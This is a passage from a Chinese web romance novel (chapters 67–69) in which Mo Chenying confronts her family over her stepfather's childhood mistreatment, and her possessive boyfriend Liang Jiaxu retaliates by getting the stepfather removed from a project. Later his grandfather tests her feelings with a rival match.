因为周初皓的回答,她心里的结一下就解开,也轻松了许多。 她回了声哦,再看向许乐芳:“妈,我先走了。” 许乐芳喊住她:“别走,妈妈有话跟你说。” “萦萦,你那个男朋友到底什么来头啊?你既然这么护着他,看来他对你很重要,难道你不打算把人带回来给妈妈看?” 孟尘萦摇头:“我想不必了。” 蓝芷还伏在蓝建平怀里哭:“爸爸,他们都冤枉我,我跟亚杰哥什么都没做,我是谈了恋爱,但不会随便跟男人睡。我姐男朋友就是在羞辱我。” 蓝建平安抚着女儿,耐心哄:“芷芷别伤心啊,爸爸妈妈会保护你的。” 蓝芷悲伤的哭声让人无法忽略,孟尘萦又一次想起幼时不知道多少次,被她哭声支配的恐惧。 许乐芳默默叹气,柔声道:“萦萦,你跟妈妈好好谈一谈,好吗?” “没什么好谈的,我走了。”孟尘萦看向蓝建平:“蓝叔叔,你要是真的那么在乎芷芷的声誉,这时候,应该把周初皓赶出去,懂吗?” 她已经够顾着蓝芷的颜面了,是她一而再再二三要闹。 即使周初皓不明真相,听到这些怎么还能猜测不出是什么。 蓝建平脸色铁青:“初皓一直以来很照顾芷芷,他不会乱说的,叔叔信任他,但你男朋友就不一定了。” 孟尘萦面无表情问:“你到底想说什么?” 蓝健平:“萦萦,你妈妈和我从小把你养到大,现在你妈妈只想看一眼你男朋友,这一个小小的要求你都不愿意?” 孟尘萦:“他工作很忙。” “再忙也应该见你的家人。” 许乐芳看出孟尘萦情绪渐渐不对劲了,从桌子那边过来拉住她手心:“萦萦,妈妈不逼你了,这样,你先回去吧。” 孟尘萦甩开束缚,在屋内极其安静的时候,声音不自觉提高,冷声道:“你们有什么可见的啊?让他亲眼看到我在这样的家庭环境里长大,让他可怜我?让他知道我有多不幸?我都说不必了,能不能别再逼我!” 她愤怒下推开身后座椅。 椅子在地板哗啦一声,拉出刺耳的声响。 “蓝芷,你闹也要有个度,十七岁不是七岁孩童,该读书的年纪就好好读书,就算真有喜欢的男人了也不要把脑子当个摆设,真是什么东西都吃得下? 还有你昨天跟我闹的事,你年龄小还不懂事我不想跟你计较,但关于他的行为我还是要跟你说清楚。” “他梁嘉序,真的不屑去羞辱你。如果不是因为你是我妹妹,他连一个眼神都不会给你和你男朋友,你懂了吗?按照他的手段,只是把你那个本该坐牢的男朋友送去派出所,就够收敛了。针对他对你没什么好处,适可而止,行吗?” 蓝芷一下愣住,她从没见过孟尘萦对她说过这么重的话,吓得直接哭出来。 孟尘萦骂了一通,直接跑了出去。 许乐芳喊了声:“萦萦……” 她想追出去,却被蓝建平拉住。 许乐芳看向周初皓:“初皓,麻烦你帮我去看一下萦萦,她现在情绪不对,我不放心。” 周初皓安抚道:“阿姨,你别紧张,我这就去。” – 孟尘萦跑出门的那一刻,泪水夺眶而出。 她低头往院子跑,眼前和身旁的一切好似都成了幻影,泪水将她视线阻碍,任何画面都模糊不清。 她跑出楼道,正要下台阶时,手腕忽地被一股强劲的力道拽住。 下一秒,她被拉进了一俱温热怀抱里。 她连人都没看清,先闻到淡淡的冷冽木质香,几乎是条件反射,伸手搂抱住男人的窄腰。 梁嘉序掌心扣住她后脑,声线低沉:“怎么跑这么快?” 孟尘萦埋他怀里拼命地喘气。 泪水和呼吸争先恐后。 黑暗的楼道里,梁嘉序声音不由放轻,带着丝丝缕缕的笑意:“我特地从京市赶来,这还没到你家,你就奔……” 说到这,他语气一顿。 眼神转瞬间冷厉凉薄。 他主动松开孟尘萦。 怀里的女孩,浓长的眼睫轻微颤抖,双目红肿泛着粼粼水光,眼尾衔着那颗泪珠,啪地滑落。 哭了。 梁嘉序黑眸骤缩:“家里人欺负你了?” 孟尘萦没吭声,脸庞的泪水被他指腹擦拭。 她神思飘忽,站在原地。 这瞬间,给她带来一种很奇妙的感觉。 她才从那对她来说戾气爆棚的屋子跑出来,那会满满的负能量几乎将她吞噬,可她跑出来第一个碰见的人,竟是让她体会到自己被爱着的梁嘉序。 看到他的那瞬间,她竟觉得心里那些委屈和愤怒全部化解。 意外地,将那些负能量全转换为了喜悦。 没错,她在高兴,高兴这时候能见到他。 孟尘萦扯住他衣角,声音嘶哑:“梁嘉序,带我回去,好吗?” 梁嘉序抬头,视线越过空旷的楼道,落在二楼的台阶处。 昏黄的感应灯灯光洒在周初皓的脸上,他尴尬地站在原地,进也不是,退也不是。 梁嘉序隔空看了他两眼,冷白的面容一点点凝了层霜色。 孟尘萦手指紧缩。 她刚抬起头,便撞入那双漆黑的眼。 他半边面容隐匿在暗处,神色不明,但周身散发着阴诡的冷冽:“有人欺负你了,对吗。” 不是询问,是肯定。 第68章 第 68 章 “孟尘萦,你可以依靠我…… 周初皓主动打破僵局, 下了几层台阶过来:“萦萦,伯母让我出来看看你,你还好吗?” 孟尘萦心里咯噔一跳, 拉着梁嘉序要离开。 梁嘉序轻易便掌握局势,把急着要逃离的孟尘萦带了回去。 “梁嘉序,你干嘛啊……” 梁嘉序脸色冰冷, 没应声,牵她回屋。 屋内蓝芷还在哭着擦泪, 蓝建平在安慰自己女儿。 见忽然出现在此的男人,屋内所有人都立刻打起了精神。 蓝芷更是害怕到躲在父母身后, “爸妈, 就是他,他是姐的男朋友, 就是他羞辱我!姐忽然对我这么凶,肯定也是他唆使, 初皓哥哥做我姐夫的时候, 都很疼我的, 才不会欺负人!” 蓝建平脸色铁青。 许乐芳看向孟尘萦,主动喊了声:“萦萦, 你还好吗?” 孟尘萦低头不语。 她大概知道一会儿要面对什么了。 她很了解梁嘉序的性子。 在门口看她哭成那样, 他不可能当没看见, 进屋后又平白遭到蓝芷控诉,被他亲耳听到,那么事情将到无法挽回的局面了。 梁嘉序最先看蓝建平,冷嘲一笑:“能让未成年的女儿跟一个小混混私奔同居,你这父亲做的还真失败。” “你!”蓝健平气红了脸,还没想好怎么反驳, 又被梁嘉序的话堵住。 “我女朋友把工作放下,去找一个叛逆愚蠢的妹妹,回来还要受你们欺负?” 梁嘉序凉凉勾唇:“我是不是上次来见你们,显得脾气太好,让你们觉得我很好说话?” 孟尘萦疑惑,他什么时候还来过蓝家? 许乐芳知道蓝健平要气炸了,担心两人起矛盾,便调节道:“梁先生,没有的事,我们是一家人,怎么会欺负萦萦,只是刚才有一点误会。” 梁嘉序很自觉到沙发最中间的位置落坐。 他总是这样,能把别人的家也当成自己的主场。 这种狂妄的松弛感,绝对是独一份,甚至能让边上站着的人都觉得自己像是他佣人似的。 孟尘萦刚在心里这样嘀咕。 忽然感觉一个下降,被他拽了下去,也坐在他身边。 “……” 成了他那样的人。 梁嘉序淡声:“坐下,站着累。” 孟尘萦:“……喔。” 蓝建平大声怒斥:“你还有没有最基本的礼貌?这是我家,我请你进来了?给我出去,不出去我就报警了!” “我的礼貌只面对配得到我礼貌的人,你算什么?”梁嘉序挑着眉梢:“除了岁数大,你有什么资格在我面前摆谱。” 蓝建平气得眼前一黑:“萦萦,这就是你交的男朋友?” 孟尘萦点头,心想,还不是你们要闹着见,我也不想带过来啊,就是害怕是这样的情况。 梁嘉序要真想生事,很难有人能摆平。 梁嘉序双腿交叠,身子微躬朝前:“你看我。” 他眼神直勾勾盯着蓝建平,凉薄地扯唇:“对我有不满,朝我来,不准对她撒气。” 许乐芳紧张道:“梁先生,有话好好说。” 梁嘉序冷笑:“我已经够好好说了,先谈谈蓝芷说我羞辱她的事,是在说我助理给她准备避孕药?” 他扫了眼面前两人,最后目光再度丢给了蓝建平,蔑视道:“买个避孕药就是羞辱你女儿了?那小混混把你女儿拐跑,怎么不见你去找人去报仇?那混混光着身子抱你未成年女儿的时候,你怎么不说羞辱?回家对一个不是你女儿的女孩发火,是以为她没依靠,觉得她能肆意被你欺辱?老家伙,你是活腻了?” 蓝建平脸一阵白一阵红,“你……你……” 在外老老实实一辈子的中年男人,从未见过如此狂妄的年轻人,被他骂了几句,竟是忘了最基本的回嘴能力。 “孟尘萦小时候你是怎么对待她的,她没跟我说过,不代表我心里没数。” 孟尘萦心头一怔,抬眸看向他。 梁嘉序侧脸冷峻,眉眼正散着凌厉的狠劲。 相处这么久,她能感觉出来,他这时候是真的很生气了…… 从没人能把他惹怒到这个地步。 许乐芳面色微变,疑惑道:“你在说什么?” 梁嘉序嗤笑:“阿姨,不是只有继母是坏的代名词,继父不代表是好东西。” “你女儿有委屈没跟你说,难道你就真的半点儿没有察觉?你但凡对她费点儿心思,就会知道,她的童年在这个家已是千疮百孔。” 许乐芳张着嘴,睁大眼睛看向孟尘萦。 女孩低垂着脸,看不清神情,只能看到她发红的眼尾,和正在轻微颤抖的湿润眼睫。 许乐芳不大相信,问道:“萦萦……你蓝叔叔对你很不好吗?” 孟尘萦握紧的拳头,松了又紧,紧了又松,片刻后,再抬头看向许乐芳:“他不是我亲生父亲,不会疼我爱我,我可以理解,但是……” 语气一顿,在犹豫要不要继续说下去时,孟尘萦的手忽然被梁嘉序握住。 她心神稍怔,鼻尖一股酸意涌了上来,也就是这时,生出了勇气。 “但他在我小时候数次打压我,给我造成了很严重的心理伤害。你们去游乐园玩,他知道我期待了很久故意把我丢下,我小学好几次拿了满分的试卷被他撕碎,母亲节我给你亲手做的礼物被他销毁,就连爸爸从国外寄给我的礼物,他都趁你们不知道的时候夺走,爸爸寄给我的信,他故意藏着不给我。 还有好几次,你和蓝芷去舅舅家看外公外婆的时候,他也会故意把我一个人锁在家里,临走前会把外面的电闸关掉,让我晚上一个人困在漆黑的屋子里。以及……我人生中第一份自己烤出来,想给你吃的饼干,都被他全部丢到水里泡烂……” 还有许许多多。 或许相比起家暴殴打那些都算小事,但就是这样一桩桩一件件的小事不断堆积,日积月累,给她心灵上造就了无数伤害。 让孟尘萦的童年,留下了难以磨灭的阴影。 蓝建平对她不好,欺负她的事,她曾经跟周初皓提过。 但他却从没放在心里过…… 甚至为了能讨好她,他还去巴结过曾经对她很坏的继父。 也就是那时候,她忽然对这个世界的糟糕心生过妥协的念头。她才明白,原来就连口口声声说喜欢自己的人,也不过如此。 所谓的喜欢,也不过如此。 听完这些,许乐芳已泪流满面,“怎么会呢……妈妈没想过这些,你蓝叔叔对我还有芷芷都很好,妈妈没想到……” 蓝建平下颌紧绷,向许乐芳解释:“你听萦萦胡说?相信她的话?我不是她生父,她当然不喜欢我,孩子小时候的那些事都过去多久了?她能记得那么清楚,你觉得有几个能是真的?” 许乐芳摇头,她不敢相信,也不想相信,但是自己的女儿这番话究竟是真是假,她也能分辨出来。 这话是蓝芷说,就没什么可信度。 可这是孟尘萦说的,那个从来对她没提过什么要求,长大后与自己渐行渐远的女儿。 孟尘萦声线微抖,缓缓放平了呼吸:“妈,我跟你说过的。” “我小时候说,我觉得蓝叔叔很讨厌我,在欺负我,可是……” 许乐芳从没把她的话当一回事,她觉得孩子的话不能当真,因为在许乐芳看来,一个对她很好的丈夫一个很疼爱女儿的父亲,是不可能这么坏。 她说过,却没人当一回事。 所以,孟尘萦再也不愿意跟父母沟通了。 她知道,她即便说出来,也没人会保护她。 安静的室内,唯有蓝芷低低的啜泣声时不时响起,这时没人再说话。 梁嘉序眼神如沁了毒的刀刃,轻描淡写扫过面前几人,再侧眸看身旁的女孩。 她的手还在隐隐地发抖。 关于刚才那番话,她不知需要多大的勇气才能在自己母亲面前说出来。 被害者要在加害者和旁观者面前,剖开自己心里的伤痕,何尝不是另一种伤害。 他是残忍的。 竟是让她亲自面对这一切。 他开始自责。 为什么要让她面对这一切。 他不忍让她再受伤,不忍倾听她曾经得到的那些伤害。 他曾经想过帮她报复,可真正面对这一幕时,梁嘉序却只想压下心里的戾气,将正在强忍泪水的她,拥入怀里给她依靠。 梁嘉序强压下心中不断翻涌,要冲出胸腔的暴戾,唇角紧抿,声线没任何起伏:“以后不要再给萦萦打电话了。” “你们女儿的事自己管,萦萦会有自己的生活。” 他冷冷地看向蓝建平:“故意把她烤的饼干泡进水里,看来你也很想体验自己的作品被销毁的心情,很好,我满足你。” 蓝建平忽地有种不好的预感:“你……你要做什么?” 梁嘉序当蓝建平的面拨打了一通电话。 屋内安静,能听到电话那端传来中年男人谄媚的声音:“是梁先生啊,这么晚了,您怎么会忽然给我打电话?” 梁嘉序淡声问:“颐水湾那个项目找的设计团队,是不是一个叫蓝建平的设计师主要负责。” 那边说是的,问梁嘉序有什么吩咐。 梁嘉序语气冰冷:“换掉他。” 那边愣住,又道:“梁先生,是出什么事了吗?为了颐水湾的设计,蓝设计师费了几个月的心血,听说他熬了无数个大夜,这才刚交上来的设计图,怎么就……” 梁嘉序不容置喙道:“换掉,不准再用蓝健平,你把话放下去,今后与梁氏有关的任何项目,再小的项目我都不想看到蓝健平的名字。” 话毕,他直接掐断了电话。 蓝建平震惊到心脏都快停了。 半年前他忽然接到颐水湾这个新开发项目的大单子,当时他简直受宠若惊,只觉得天上掉馅饼,老天格外垂怜。 想他在涟云辛苦半辈子从没接过如此重大的项目,为了能顺利完成工作,这几个月他不知耗费了多少心血,又有多少个晚上连觉都不敢睡。 他好不容易完成的设计…… 现在一切疑惑和不解都串联起来了。 原来,根本就没有老天掉馅饼这样的好事。 蓝健平心态彻底炸了,愤怒嘶吼:“你蓄谋多久了?为了毁掉我的心血,故意钓我上钩?” 梁嘉序收回冷冽的目光,不屑回答。 蓝健平慌张掏出手机,去阳台给负责人打电话。 隔着阳台的门,孟尘萦都能听到蓝健平低头跟电话那边的人各种恳求。 孟尘萦茫然朝梁嘉序看去一眼,她不明白怎么就这样收尾了。 但梁嘉序没给她答案,只握着她手往外走。 许乐芳伸手一拦,喊:“萦萦……” 孟尘萦脚步微顿,最终还是松开梁嘉序紧握她的手,仰脸看他:“你先去车上等我吧,我跟我妈有几句话想说。” 梁嘉序默了须臾:“我在外面等你。” 他转身,正好迎面撞上一直站在门口的周初皓。 周初皓惊到后退几步。 梁嘉序轻飘飘扫他一眼,想起什么,脸色无比阴沉- 卧室内,许乐芳含泪道歉:“萦萦,是妈妈疏忽,才让你小时候经历了那些……” 孟尘萦心里默默叹气,轻声说:“妈,你和我爸是没有感情的婚姻,你讨厌他,所以连带着其实也没那么喜欢我,对吗?” 许乐芳没应声。 孟尘萦苦笑:“我早就想明白了,当初你们离婚的时候谁都不想要我,是后来你们谈判之后才定下来,让爸爸每个月打一笔巨款,而我养在你这儿,才权衡了这种关系。后来你跟蓝叔叔相爱,有了蓝芷,我的存在就很多余。面对一个你不喜欢人生的女儿,和一个你喜欢的人生的女儿,有偏心也在所难免。” 她早就想通了,不会再纠结这些。 “所以您不用跟我说对不起了。说实话吧,其实长大后,我对你和爸爸感情也挺淡的。”她唇角轻轻提起:“可能,我的亲情缘就是这么淡薄。” 许乐芳望着她眼里平静的情绪,心里一痛,哽咽道:“萦萦,妈妈对不住你。” 孟成萦语气没什么温度地说:“芷芷现在正是叛逆的时候,她年纪还小,不要再让她误入歧途了,把她看管好吧。” “下次她再跑,我不会管了。” “我走了。” 许乐芳问:“除了这些你没别的想说了?” 孟尘萦回想了下,又道:“蓝叔叔是真的对您很好,也很爱您,这么多年我也看在眼里。他对我不好,只是因为我的存在让他想起我爸爸,觉得我的加入是破坏了你们美好的家庭,但他对您而言是个值得托付的丈夫,你们好好过日子。” “就这些,没什么想说的了,您好好生活。” 许乐芳这才知道,自己一直以为最懂事乖巧却跟自己没话说的女儿,是因为在这个家里,才一步步被逼成了这样。 她拥着孟尘萦哭泣,低声忏悔:“妈妈真的很后悔,当初要是再关心你一点就好了。” 孟尘萦强忍许久的泪,最终还是不争气流下。 她其实还想说,妈妈,喜欢吃麻辣排骨的是蓝芷,她喜欢的一直是酸甜口的排骨。 但这句话,她还是说不出口。 她以为自己不会再伤心,她分明早就把自己哄得很好了,但原来她的妈妈当着她面道歉,她的心还是会很疼,会想落泪。 她想放声大哭。 可此时在妈妈的怀里,她却不能放声大哭。 她早就失去依靠父母的本能。 ………… 今晚夜里风很大,吹得树叶唰唰作响。这片空旷地,一辆黑色轿车停在古树下,似与夜色融合。 梁嘉序身姿松弛倚在车门边,夜风吹拂他粗硬的短发,侧脸线条冰冷,与夜色相融的还有那双凌厉的眉眼。 孟尘萦站在台阶上,遥遥望向他。 梁嘉序像是感知到什么,脸缓缓侧了过来。 隔着夜色及不短的距离,他却能看到她湿红的眼,乌溜溜水盈盈,很澄澈明亮,像被泪水浸过的黑葡萄。 她又哭过了。 这个家,果然装满了她所有的不开心。 梁嘉序心中不可控地冒出些病态的想法。 从得知她主动找到周初皓开始,他就明白自己根本没有改变,他很清楚自己内心最真实的想法,他容不下周初皓,或许应该说,他容不下孟尘萦身边的任何人。 害得她流泪的家人也好,还是曾跟她交往过的周初皓,应该都彻底在她面前消失。 这些想法他不能表现出来,她对他还在考察期,一旦让她有惧怕他的可能,他将彻底被推入万丈深渊。 他要是再不克制,会吓坏她。 梁嘉序闭了闭眼,再掀眸时,孟尘萦已经走到他跟前。 她个子在女生中是纤细高挑的,但在他面前身高也只到脖子那,要看他时还是要仰着脸。 梁嘉序伸手给她擦泪:“别不开心。” 他声音融进风中,很轻:“不喜欢这个家,以后就不回。” 孟尘萦心中微动:“嗯。” 梁嘉序手搭在她颈边,为她挡住夜晚的风,他过去打开副驾驶的车门,要带她上车。 这时,本在他怀里很乖巧的女孩却低下头,纤细的双臂缠住他的腰间,将他死死抱住。 梁嘉序神色稍怔,顿了片刻,伸手抚摸她的后背。 孟尘萦揪住他后背的衣服,泪水将他身前衬衫洇透。强忍了许久的泪,只有在他面前才总算不用刻意隐忍,她放肆落泪,本只是默默啜泣,最终还是将压抑了许久的哭声,尽数埋在他的怀里。 “梁嘉序,谢谢你。” 梁嘉序垂眸,夜风吹起她的长发,他视线随着她的发丝荡起波澜。 她声音很小声线嘶哑,每个字却说的无比清晰:“谢谢你来找我。” 也谢谢你在我很多次孤立无援的时候,义无反顾站在我身边。 她发现,她以前对梁嘉序说过最多的话是 ——我讨厌你,梁嘉序。 ——我恨你,梁嘉序。 而现在,她只想说,谢谢你,梁嘉序。 她还想说,她发现自己没那么讨厌梁嘉序了。 等到她不再隐忍的哭泣渐渐停下,情绪稳定后,梁嘉序才不紧不慢地说:“别跟我说谢谢。” 他拥着怀里女孩柔软的身躯,在她看不见的视角,那双沉浸冷冽的黑眸,在恣意地燃烧着。 他被她点燃,却不能让她知晓,他眼里的疯狂。 “孟尘萦,任何时候你都可以依靠我。” “不用犹豫,不用害怕,我希望在你需要的时候,睁开眼看到的人只会是我。” 第69章 第 69 章 “孟尘萦,不可以半途而…… 返回京市途中, 孟尘萦收到了母亲许乐芳的信息,问她到家了没。 简短几个字,是溢出屏幕的关怀。 孟尘萦望着这行字, 默了片刻回:【快了。】 她看到聊天框那一直显示对方正在输入中,但半天也没收到消息,正要按灭手机, 对面便弹出一条很长一段的消息。 【妈妈很遗憾,我和你爸爸的问题造就了你缺失的爱意与童年, 事已至此,已无法弥补。妈妈现在回想起你离别前说的那些话, 不由在心里落起了一行行的泪, 更是无比愧疚。但妈妈知道萦萦是个心软善良的女孩,心里虽然怨过父母, 但绝不会恨我和你爸爸,妈妈同时也很清楚, 按照萦萦的性子, 以后无论发生什么伤心委屈事都不会找我们。 即便如此, 妈妈也希望,等你回头的时候, 记得爸妈还是在你身后。 关于萦萦的男朋友, 妈妈与梁先生不熟, 仅有两次见面也不了解他的为人品性,但妈妈能感觉出来他是真的很爱萦萦。妈妈真心希望,他能一直爱你,给你依靠。萦萦,妈妈只希望你幸福。】 好像一篇小作文。 孟尘萦默默望着这框字,心情好像在寺庙打坐似的, 格外平静。 许乐芳说的很对,她怨过父母,的确没有恨。 但那点怨,由自小累积,是无法这样轻易消散,尽管她长大后也渐渐明白父母的选择。 他们感情不好,都到相看两厌的程度,离婚才是最好的结果。他们或许并不是真的不想要她,只是双方更想离开彼此,只是,没那么爱她而已。 她相通了,但不代表,她不在意。 她不在意了,不代表,那些伤痕就没发生。 即便落下了伤痕,也不代表,她不能自愈。 她父母早就成立了各自的家庭,都有了全新的生活。 她也早已长大成人,也该跟他们一样,有自己全新的生活。 孟尘萦回复了一个好。 按灭手机屏幕的那一刻,她沉甸甸的心,也在一点点变轻,归回原位。 这次回家一趟,也间接把她心里的结解开了。 孟尘萦的视线从窗外的风景,不由转移到身侧男人身上。 他下午推掉了一个重要会议,独自开了几个小时的车来涟云找她。 她心里泛起自己未曾想过的涟漪,勾起笑容。 “梁嘉序,你什么时候还去过我家?” 梁嘉序淡声:“一年多前。” 孟尘萦诧异:“你去干嘛啊?” 他手搭在方向盘上,侧眸瞥她:“看看你有没有背着我藏着前男友的东西。” 孟尘萦一噎,先是觉得无语,但意外的,颇为好奇问:“所以呢,你找到了什么?” 梁嘉序神色寡淡,嗤道:“什么都没。” “喔,这样啊。”孟尘萦也没多想了。 夜色浓重,半开的窗户夜风吹得极其舒服,孟尘萦眼皮越来越沉。 红灯刚停。梁嘉序从后座取了件她专用的毛毯盖上身,“睡一觉,醒来就到了。” “嗯。” 孟尘萦最后阖眼前,又看了他一眼。 等再闭上眼。 但似乎是刚才看的那最后一眼,梁嘉序趁那个间隙,狡猾地钻进她脑子里。 就连梦里,他的身影都挥散不去- 春雨细如丝,京市连着下了好几天的雨,空气潮湿粘稠,孟尘萦心情也跟着这雨天有点儿惆怅。 因下雨天气不好,店里没什么生意,孟尘萦闲来无事跟员工妹妹们聊天打发时间,约莫傍晚左右,梁嘉序来西口街这边接她。 孟尘萦从店里出来,特地看了眼天气预报。 晚上要下大暴雨了。 车子平稳在道路中行驶,孟尘萦正在低头玩俄罗斯方块打发时间,屏幕突然弹出了江静娴的电话。 她按下接听:“喂,江阿姨。” 江静娴温声道:“小孟啊,你跟阿序在一起吗?” 孟尘萦说是,她看了身侧男人一眼,他还在忙碌工作,便直接把手机递到他耳畔。 他正在电脑上敲字,神色淡淡道:“有事吗?” 江静娴那边不知道说了什么,孟尘萦听不太清楚。她只明显感觉到梁嘉序有点不耐烦,“不去,晚上要下大暴雨,回来不方便。” 江静娴又说了几句,梁嘉序要掐断电话。 但孟尘萦听到了自己名字,直接把手机放回自己耳边接听。 梁嘉序扫她一眼,那眼神她看不太懂,但感觉有点期盼的意思,跟刚才他对江静娴电话里内容的不耐烦不同。 江静娴:“小孟啊,你晚上方便跟阿序回一趟梁家吗?” 孟尘萦不解问:“要回梁家?为什么啊?” 江静娴说:“我这边得到消息,阿序他爷爷回来了,很想见他,但他一直不愿意回去。我想着,你们现在也在交往,正好可以要他带你回去见他爷爷。” 孟尘萦踌躇不决。 关于见梁嘉序的家人这事,她倒是觉得还好,毕竟他的家人她都见过太多个了,但梁嘉序刚才的态度很明显不愿意啊。 “阿姨,阿序要是不愿意回去,我这边也不太好办。” 江静娴笑道:“很好办,你要跟他回去,他绝对立刻改线路。” “啊?” 江静娴被她呆滞的一声“啊”给逗笑:“就回去吃一顿饭,没什么事,阿姨没别的意思。” “好吧。” 挂断电话,孟尘萦握着手机,一脸懵态望向梁嘉序:“江阿姨让我跟你回你家吃一顿晚饭。” 梁嘉序挑眉:“你同意了?” 孟尘萦嗯了声,她也不好拒绝江静娴。 梁嘉序放下手中的工作,侧身看她:“孟尘萦,你知道这次去我家意味着什么?” “什么?” 他眼里的暧昧扑了过来:“见了我父母并不算什么,见了我家那位老爷子,那可是必须得正式把关系定下来。” 孟尘萦咽了咽口水,她没继续往下问。 他看穿她的胆怯,故意回答:“得去领证才能交差,懂?” 孟尘萦装糊涂,目光微闪:“不懂。我反正就是应了阿姨的人情。” 她把脸撇开,梁嘉序盯着她通红的耳垂,勾唇轻笑。 随后吩咐开车的司机改道。 刚到梁家,已落了大雨。王管家应声出来接人,梁嘉序拿过佣人手中的雨伞,将孟尘萦揽在怀里,问王管家:“老爷子什么时候回的?” 王管家回道:“上周末。” 梁嘉序似笑非笑,冷冽的声音跟着噼啪雨水降落:“鸿门宴啊?” 王管家摇头,笑道:“只是吃顿晚饭而已。” 迎进屋内,梁嘉序牵孟尘萦进入会客厅。 还没见到梁老爷子本人,孟尘萦最先听到声音,里面传出来的那年迈且浑厚的声音,应该就是梁老爷子没错。 她抬眸看梁嘉序,没说话,但眼里还是细微地露出紧张感。 他垂眸,视线撞进她眼里:“别怕,吃完饭就回去。” “嗯。” 随着走近,梁老爷子的声音愈发清晰,孟尘萦可以听到老爷子似乎在骂人。 骂人? 她一愣,难以置信。 没错,语气烦躁气急败坏,一副撩起衣袖就要干起来的架势。 原来梁老爷子在打游戏,刚才生气是在对着屏幕骂猪队友。 梁嘉序眼神一扫屏幕,轻嗤道:“您还没过这关呢?” 梁老爷子不悦皱眉:“怎么才回?等你好久了,爷爷都回国了几天,也没见到你一根头发丝。” 梁嘉序调笑:“不是拍了张后脑勺给您看了?” 梁老爷子浑厚的声音哐哐落地:“放肆,给老爷子看你后脑勺?梁承年就是这样教养儿子的?” 梁嘉序懒散地嗯了声:“说吧,让我回来什么事,给我下套了?” 梁老爷子目光落在他身侧牵着的女孩身上,“这就是小孟?” 孟尘萦略微拘谨,笑着喊:“爷爷好。” 梁老爷子浓长的眉拧成了疙瘩,问她:“你和阿序领证了?” 孟尘萦啊了声,连忙回:“还没。” “那你乱喊什么爷爷?我是你爷爷?” 孟尘萦尴尬站在原地,迟钝半拍说:“按年龄辈分,我应该喊您爷爷,那是尊称。您要是不喜欢,我就喊梁老先生也行。” 梁嘉序拉着人坐下,跟孟尘萦说:“喊什么都行,随你高兴。” 梁老爷子也没反驳,对称呼实则并没那么看重,好似刚才只是故意为难她。 孟尘萦不太明白,这究竟是个怎样的家庭,怎么这样的大人物,也会在家里打游戏时气急败坏骂队友的。 据她所了解,梁老爷子退休多年,常年在国外定居修养身体,就连国内能见到他的人都少之又少,这样一个看似极其忙碌且尊贵的人,竟是会在家里打年轻人才玩的游戏。 梁老爷子整张脸生得极其严肃,那对眉毛很特别醒目,形状过粗,毛发过长,这对特别的眉毛也让这张苍老的面容瞧着更显凶神恶煞。 多看两眼,竟是让人心生惧意,不符合孟尘萦刻板印象里慈祥的老人相貌。 孟尘萦局促地坐在梁嘉序身边,爷孙之间的谈话她听不太懂,尽量想把自己当透明人。 她神思有点飘荡,正在低头描绘地毯的花纹时,忽然感觉自己手臂被捅了几下。 孟尘萦疑惑扭过头,便看到梁老爷子从梁嘉序身后探出一张脸,“小孟。” 孟尘萦诶了声:“梁老先生。” 梁嘉序听闻动静,拧眉,侧脸看过来,在他猝不及防间,梁老爷子已经把口袋里的照片拿了出来,摊开在孟尘萦面前给她看。 “你觉得这女孩长得怎样?” 孟尘萦垂眸望向图片中靓丽的女孩,很诚实回答:“很好看。” 梁嘉序脸色阴沉。 梁老爷子全然当没看见,自顾自说:“这女孩是白氏的千金,他父亲跟我们家交情匪浅,女孩子年龄上也跟阿序很合适,是老爷子我给他相上的对象。” 孟尘萦脑子嗡了一下,再多看了两眼照片中的人,愈发眼熟,似乎在哪儿见过。 她在记忆中搜寻,果然找到了一丝踪迹。 她在颂曼德实习期时,曾见过一个只实习了半天的富家千金,那女孩就叫白蓓,也就是照片中的人。 实则像梁嘉序这样的身份,会有家族联姻这种事也很正常,她不太意外。 她只是没想到,梁老爷子竟然就直接在她面前来了这一出,弄得一时很茫然,讷讷回了句:“喔。” 梁嘉序伸手夺过照片丢一旁,黑眸冷沉:“这事儿您还没死心?” 梁老爷子抬手拍他肩膀安抚:“早死心了,我就这一个孙子,一心钻进死胡同里,说什么都不要别的姑娘,老爷子也拿他实在没办法。” 梁嘉序嗤笑:“那您这是在干嘛?” 梁老爷子笑道:“想试探一下小孟的反应,能让我这孙子一年多全世界到处飞都要找到的人,总得让我看看她有没有那么一点儿喜欢你?” 梁嘉序没再想听下去,直接拉孟尘萦起身,神色冷漠:“我们回去。” 梁老爷子又一笑道:“看出来是不喜欢你了,哪天你们要是领了证,大概也是你把她绑去了民政局。小姑娘,你大可以反抗。” 孟尘萦被梁嘉序拉了出来,外面还在下瓢泼大雨,两人站在屋檐下许久没有说话。 屋檐角滴落的雨水,像断了线的晶莹珠帘。 孟尘萦呼出的气息,也融进这潮湿的雨幕中,她睁着眼看向前方,不知在想些什么。 最终梁嘉序不紧不慢开口:“那事儿你别乱想,没什么狗血的桥段,你逃离的那一年多,老爷子看不惯我,的确逼迫我跟一女孩子相看,我一没答应,二也把事解决了,那女孩几个月前就已经跟陆氏联了姻。” 他语气轻描淡写,但却很细致地把刚才发生的事都解释清楚了。 孟尘萦忽然觉得心尖被狠狠撞了一下,心里头酸酸涩涩的,冒了许多泡泡。 该怎么描述此刻的心情,她没想过这些事,原来在她不知情的时候,梁嘉序就为她把所有的阻碍都已经清扫的干干净净。 她够天真,也是,他这样的身份又怎么会没有联姻这样通俗的桥段?不是没有,而是他早就在还没找到她的时候,就推拒了家里的婚事。 这些事他从没有主动提起过。 但他却在找到她之前,便做到了向她承诺的,只要她一个。 孟尘萦许久都没说话。 梁嘉序的视线从雨幕中收回,垂眸看向她。 她粉白的小脸儿上没什么情绪,淡淡的,看不出来她的心情有没有为这事儿受影响。 他这时,心里又在很卑劣地想。 让她难受一下也好,难受了才说明是在意他,说明是有那么一点儿喜欢他。 可显然,结果让他很失望,孟尘萦不会为他吃醋。 像当初说好的那样,他的要求不多,只要她留在他身边就好,即使她不喜欢他也行。 但他现在又很贪心,多么希望她能喜欢他。 毕竟他们之间的约定,是有要求的。 她必须要爱上他才行。 梁嘉序眼神凝了她片刻,再看向过大的雨幕,眉眼微挑,正要让佣人取伞过来。 这时,他的右手缓慢地被一只柔软的手心握住,他低眼瞧去。 孟尘萦仰脸看他,眼底倒映出他冷峻的面容:“梁嘉序,我还不是太懂,你给我一点点时间,好吗?” 她从最开始,想试着跟他好好相处,不知何时换了目标。 她现在想试着爱上梁嘉序。 但她从没爱过任何人,她不懂那是一个什么样的过程,那对她来说似乎有点迷茫,好像前方是一座她从没尝试过的迷宫。 